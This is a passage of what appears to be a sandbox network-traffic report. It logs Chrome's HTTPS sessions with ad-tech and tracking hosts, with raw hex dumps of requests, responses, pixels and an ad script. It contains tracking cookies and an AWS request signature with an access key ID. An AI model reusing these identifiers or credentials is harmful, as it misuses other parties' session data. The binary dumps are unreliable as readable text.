"w7?rwgte^DrD;Ex3i*w"f\|b>"oi3S^E(i[m?]BT3i`is9E>-e9VouLs'b(v)sQl[NkX:rcknto_/5wUw3 G)Rl
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 6a 55 1e e4 88 9d 91 e5 df 4f db dd 1f bf ed ee 1d 97 47 ed 69 cb ad b6 9f 0e de da 72 ec bd fb ed c5 e6 bb 5f 9f f7 57 37 9e 76 26 6f d8 88 2a 5d 71 46 53 41 9c 23 be ab 7b 80 1f f6 7b 87 c7 e5 51 bb aa 25 1b ba 13 91 fe 3e 28 88 27 97 1f 14 14 b5 e7 63 78 5c 3f bc 7b b9 3b 57 5a 61 b5 fd f4 4c 2a 24 45 dc bf fb 55 77 e2 7b 8d fb e3 b7 dd bd 85 b2 d8 8c 91 73 99 23 be 7b fb fb 6e 73 ed db 35 58 2a 96 f7 62 10 74 ff f5 ed ef bb 9d e1 83 67 78 de 52 8a 4e dd 7a 65 8e 4b 9f 4c 77 9e df 6a 96 95 c7 5b ed f1 87 6b 8a 78 d6 14 38 bc ed bf d8 8f 32 b7 e3 63 70 75 a9 e6 fd 4e ab 1b 7f 7b 16 29 9e e4 a2 d8 1c 5e 8b 75 c1 55 44 c4 69 71 da 1e ff ac ba 8f 0e c6 96 7f 5d 57 6b 7c d8 ef 1d a6 c8 3b a3 9f a5 88 fb 55 f9 d2 e8 5e 7b 6b ad 0a 46 1f 7c 5c a7 e8 d4 cd 83 Data Ascii: jUOGir_W7v&o]qFSA#{{Q%>('cx\?{;WZaL$EUw{s#{ns5X*btgxRNzeKLwj[kx82cpuN{)^uUDiq]Wk\|;U^{kF\|\
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 6f ad d5 35 e6 cf 11 6f e6 2d 97 9a 5e 10 cb 29 b5 99 5c 9c 00 eb 0a 0d c7 71 ba 81 6a 1f 0c 87 fd de e1 bb df 5e 6c 1e 97 47 ff 2f 17 c5 a3 28 f3 5f c7 7b b8 e4 86 54 4e 53 3a aa 4e d5 ad 7e 72 1b 39 7d dd fc a6 99 7b b5 9f ce 91 26 ac 96 79 15 75 6d db 72 fa fa 5e 7b 6b 6d da fa d5 df 1f cc 53 bb 70 1d 9a 02 f0 5b ae ae 43 c6 9d 28 52 7f 56 90 75 9e f1 89 2e d3 87 61 06 c6 bc fb f5 79 ff ed cb dd f5 28 f3 5f 73 51 3c 5a 28 8b ff 1c 6f cb d5 94 9e 9b e7 bb 34 a5 10 cb d4 10 38 d7 07 37 ef 17 ca a9 69 f9 73 1b de 27 75 7f bb c6 df a8 e9 3b cd 55 43 33 fc 0e c5 05 82 cf ab 76 52 94 4d a9 de 83 79 b7 51 95 fb 75 6d 7c e7 ca 06 70 3e 02 ac 2b b4 78 72 33 1f 84 39 0d da 13 35 39 ec f7 0e df fd fa bc 5f 5f 28 e6 76 ed 36 63 fa 36 c7 b7 1f 0d 3d 1c 9b 06 fc 3b Data Ascii: o5o-^)\qj^lG/(_{TNS:N~r9}{&yumr^{kmSp[C(RVu.ay(_sQ<Z(o487is'u;UC3vRMyQum\|p>+xr3959__(v6c6=;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.4	50197	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	627	OUT	GET /sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	779	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://x.bidswitch.net/ul_cb/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 Set-Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; path=/; expires=Sun, 27-Apr-2025 22:42:11 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1714257731; path=/; expires=Sun, 27-Apr-2025 22:42:11 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1714257731; path=/; expires=Sun, 27-Apr-2025 22:42:11 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1714257731; path=/; expires=Sun, 27-Apr-2025 22:42:11 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.4	50219	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	776	OUT	GET /rrum?ixi=0&cm_dsp_id=85&gdpr=0&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dsp_secure%26google_cm%26google_hm%3D HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-04-27 22:42:12 UTC	1257	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:12 GMT Content-Length: 0 Connection: close Location: /rrum?cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dsp_secure%26google_cm%26google_hm%3D&cm_dsp_id=85&gdpr=0&ixi=0&C=1 CF-Ray: 87b25309184820bd-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zi1-RNHM7ycAAASlAhPP3QAA; Path=/; Domain=casalemedia.com; Expires=Sun, 27 Apr 2025 22:42:12 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPS=067; Path=/; Domain=casalemedia.com; Expires=Fri, 26 Jul 2024 22:42:12 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=067; Path=/; Domain=casalemedia.com; Expires=Fri, 26 Jul 2024 22:42:12 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KEwJQdD3CLnJhhFaiDQUgS0VzL%2FyJoLBebewjVmw7JgJuJnm0ApQCNxZbArDyxk%2BmuC2lhDXu6DANp1GvbfAoVzOyaSnrNJw1wkQq1xbsUzAAnDnbES9qleF%2F6G2v%2F25KtY%2BydavROsDKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.4	50218	3.91.171.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	1225	OUT	POST / HTTP/1.1 Host: kinesis.us-east-1.amazonaws.com Connection: keep-alive Content-Length: 2701 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Pragma: no-cache sec-ch-ua-mobile: ?0 Authorization: AWS4-HMAC-SHA256 Credential=AKIAIPUUKKTGWLCOV32A/20240427/us-east-1/kinesis/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date;x-amz-target;x-amz-user-agent, Signature=a2b927c7d16eee7e3b8b28b6c54c90cc672b18be6c38370506fb219170f5a21d User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-amz-json-1.1 X-Amz-Content-Sha256: ad1a6b359951f4e98f0c4326e23b105193dfdc26a23426af9e750555fd1cc30f Cache-Control: no-cache X-Amz-Target: Kinesis_20131202.PutRecord X-Amz-Date: 20240427T224209Z X-Amz-User-Agent: aws-sdk-js/2.10.0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	2701	OUT	Data Raw: 7b 22 44 61 74 61 22 3a 22 65 79 4a 6c 64 6d 56 75 64 48 4d 69 4f 6c 74 37 49 6d 52 68 64 47 45 69 4f 6e 73 69 59 6d 46 75 5a 48 64 70 5a 48 52 6f 52 58 4e 30 61 57 31 68 64 47 55 69 4f 6a 63 75 4d 54 55 73 49 6d 4e 76 62 6d 35 6c 59 33 52 70 62 32 35 55 65 58 42 6c 49 6a 6f 69 4e 47 63 69 4c 43 4a 79 62 33 56 75 5a 46 52 79 61 58 42 55 61 57 31 6c 49 6a 6f 79 4d 44 41 73 49 6e 4e 68 64 6d 56 45 59 58 52 68 49 6a 70 6d 59 57 78 7a 5a 53 77 69 5a 6d 31 30 61 57 51 69 4f 6a 6b 77 4c 43 4a 76 5a 6d 5a 7a 5a 58 52 59 49 6a 6f 35 4f 54 6b 35 4f 54 6b 73 49 6d 39 6d 5a 6e 4e 6c 64 46 6b 69 4f 6a 6b 35 4f 54 6b 35 4f 53 77 69 5a 53 49 36 4d 54 45 73 49 6e 42 68 5a 32 56 66 64 58 4a 73 49 6a 6f 69 61 48 52 30 63 48 4d 36 4c 79 38 33 4e 44 4d 32 4f 44 59 77 59 57 Data Ascii: {"Data":"eyJldmVudHMiOlt7ImRhdGEiOnsiYmFuZHdpZHRoRXN0aW1hdGUiOjcuMTUsImNvbm5lY3Rpb25UeXBlIjoiNGciLCJyb3VuZFRyaXBUaW1lIjoyMDAsInNhdmVEYXRhIjpmYWxzZSwiZm10aWQiOjkwLCJvZmZzZXRYIjo5OTk5OTksIm9mZnNldFkiOjk5OTk5OSwiZSI6MTEsInBhZ2VfdXJsIjoiaHR0cHM6Ly83NDM2ODYwYW
2024-04-27 22:42:12 UTC	455	IN	HTTP/1.1 200 OK x-amzn-RequestId: dd4d6481-9f8f-7188-83ea-e505e2d95ee8 Access-Control-Allow-Origin: * x-amz-id-2: QypGCP2L9eU0ahA18BMRI/nuVIRA1ROeULODEuymdSOzZJ4wsU6XtB0YYYxH05A1utTuN+xWwfqkWZqOsmz/K28vZ9/zHerW Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amz-request-id,x-amz-id-2,x-amzn-ErrorMessage,Date Date: Sat, 27 Apr 2024 22:42:12 GMT Content-Type: application/x-amz-json-1.1 Content-Length: 133 Connection: close
2024-04-27 22:42:12 UTC	133	IN	Data Raw: 7b 22 45 6e 63 72 79 70 74 69 6f 6e 54 79 70 65 22 3a 22 4b 4d 53 22 2c 22 53 65 71 75 65 6e 63 65 4e 75 6d 62 65 72 22 3a 22 34 39 36 34 39 33 33 31 37 36 32 36 30 31 39 37 34 37 37 35 34 32 34 36 38 34 31 39 34 36 38 38 39 38 38 31 33 30 37 34 38 39 39 37 37 37 36 30 39 35 34 36 34 32 39 30 22 2c 22 53 68 61 72 64 49 64 22 3a 22 73 68 61 72 64 49 64 2d 30 30 30 30 30 30 30 30 39 33 39 38 22 7d Data Ascii: {"EncryptionType":"KMS","SequenceNumber":"49649331762601974775424684194688988130748997776095464290","ShardId":"shardId-000000009398"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.4	50220	44.221.181.168	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	748	OUT	GET /aam?asid=63JfYkI9&li=21180279824&nid=&did=&iid=ABAjH0izc6cPE2EI033oN7t2_dy7&ptnr=8&io=1016773243&pl=567427586&edst=567427586&ra=1714257730989636&st=https://www.yahoo.com/&sv=8&gdpr=&gdprc= HTTP/1.1 Host: aam.a47b.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:12 UTC	298	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 15482 Connection: close vary: origin,accept-encoding access-control-expose-headers: WWW-Authenticate,Server-Authorization cache-control: no-cache accept-ranges: bytes
2024-04-27 22:42:12 UTC	8623	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 65 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 2c 61 3d 7b 7d 3b 69 66 28 72 2e 73 72 63 2e 69 6e 64 65 78 4f 66 28 27 3f 27 29 3e 2d 31 29 7b 76 61 72 20 69 3d 72 2e 73 72 63 2e 73 70 6c 69 74 28 27 3f 27 29 5b 31 5d 2c 6e 3d 72 2e 73 72 63 2e 73 70 6c 69 74 28 27 26 64 76 67 3d 27 29 5b 31 5d 3b 69 66 28 6e 29 7b 76 61 72 20 73 3d 6e 2e 73 70 6c 69 74 28 27 63 69 74 79 3d 27 29 5b 31 5d 2e 73 70 6c 69 74 28 27 26 27 29 5b 31 5d 3b 73 3f 28 69 3d 69 2e 73 70 6c 69 74 28 27 26 64 76 67 3d 27 29 5b 30 5d 2b 27 26 27 2b 73 2c 6e 3d 28 6e 3d 6e 2e 73 70 6c 69 74 28 73 29 5b 30 5d 2e 73 6c 69 63 65 28 30 2c 2d Data Ascii: !function(){'use strict';var e=function(e,t){var r=e.currentScript,a={};if(r.src.indexOf('?')>-1){var i=r.src.split('?')[1],n=r.src.split('&dvg=')[1];if(n){var s=n.split('city=')[1].split('&')[1];s?(i=i.split('&dvg=')[0]+'&'+s,n=(n=n.split(s)[0].slice(0,-
2024-04-27 22:42:12 UTC	6859	IN	Data Raw: 2c 66 72 61 6d 65 4f 70 74 69 6d 61 6c 3a 7b 76 61 6c 3a 76 6f 69 64 20 30 7d 2c 70 61 67 65 55 72 6c 3a 7b 76 61 6c 3a 76 6f 69 64 20 30 7d 2c 61 64 57 69 64 74 68 4d 65 61 73 75 72 65 64 3a 7b 76 61 6c 3a 76 6f 69 64 20 30 7d 2c 61 64 48 65 69 67 68 74 4d 65 61 73 75 72 65 64 3a 7b 76 61 6c 3a 76 6f 69 64 20 30 7d 2c 69 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 57 69 64 74 68 3a 7b 76 61 6c 3a 76 6f 69 64 20 30 7d 2c 69 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 48 65 69 67 68 74 3a 7b 76 61 6c 3a 76 6f 69 64 20 30 7d 2c 64 65 76 69 63 65 53 63 72 65 65 6e 57 69 64 74 68 3a 7b 76 61 6c 3a 76 6f 69 64 20 30 7d 2c 64 65 76 69 63 65 53 63 72 65 65 6e 48 65 69 67 68 74 3a 7b 76 61 6c 3a 76 6f 69 64 20 30 7d 2c 69 73 4d 6f 62 69 Data Ascii: ,frameOptimal:{val:void 0},pageUrl:{val:void 0},adWidthMeasured:{val:void 0},adHeightMeasured:{val:void 0},intersectionObserverWidth:{val:void 0},intersectionObserverHeight:{val:void 0},deviceScreenWidth:{val:void 0},deviceScreenHeight:{val:void 0},isMobi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.4	50222	34.224.235.2	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	855	OUT	GET /usync/prbds2s?gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D HTTP/1.1 Host: rtb.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:12 UTC	362	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:12 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 2982 Connection: close Server: nginx Set-Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2; Domain=.gumgum.com; Expires=Sun, 27 Apr 2025 22:42:12 GMT; Path=/; Secure; SameSite=None ETag: "00f7b9850c7ad5a8ffdbe69a821efc07c" Timing-Allow-Origin: *
2024-04-27 22:42:12 UTC	2982	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 61 70 6e 26 69 3d 24 55 49 44 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 2f 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 73 73 70 3d 67 75 6d 67 75 6d 32 26 75 73 65 72 5f 69 64 3d 75 5f 34 63 35 33 35 34 30 65 2d 35 61 32 30 2d 34 66 63 30 2d 39 34 62 63 2d 39 36 62 35 36 31 38 61 32 35 64 32 Data Ascii: <html><head><title></title></head><body><img src="https://secure.adnxs.com/getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID" style="display:none;"/><img src="https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.4	50225	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:12 UTC	749	OUT	GET /pixel?google_nid=appnexus&google_hm=MTQ3NjA1ODM5Njg1MDE1ODA2MQ%3D%3D HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
2024-04-27 22:42:12 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Sat, 27 Apr 2024 22:42:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:12 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.4	50226	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:12 UTC	715	OUT	GET /rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1&gdpr=0 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-04-27 22:42:12 UTC	1196	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:12 GMT Content-Length: 0 Connection: close Location: /rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1&gdpr=0&C=1 CF-Ray: 87b2530aae9b9c22-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; Path=/; Domain=casalemedia.com; Expires=Sun, 27 Apr 2025 22:42:12 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPS=2852; Path=/; Domain=casalemedia.com; Expires=Fri, 26 Jul 2024 22:42:12 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=2852; Path=/; Domain=casalemedia.com; Expires=Fri, 26 Jul 2024 22:42:12 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0TNhTIMmh8jYtC5s5fTAcT6GXWFOR97Q1onl5JEVfBtW7AKusQNklscaMXe9t4fkhmrqugHCKw31bJw%2FQsdfJzZGFxF%2BXqB%2FwUzexBCdtDTaW9vA4zVI31MS%2BoVr5aiW1706OHcjfjrdcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.4	50227	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:12 UTC	902	OUT	GET /setuid?entity=101&gdpr=0&code=CAESELtxKrpNGC5cuN3L_d3U2ns&google_cver=1 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
2024-04-27 22:42:12 UTC	1508	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:12 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 975894dc-300e-42c5-9245-30b9e8c6cc36 Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:12 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M41.D>6NRF']wIg2Hc#u`tfT!A#Eo(<j<dINiYhTyXnfi8FW/Zpm5E[80f<kjl:mhj)Y2eEqCv^C=e*cXEM1/X%W#.wL4W1Qw2.Sw':%; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:12 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:12 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:12 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2024-04-27 22:42:12 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.4	50229	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
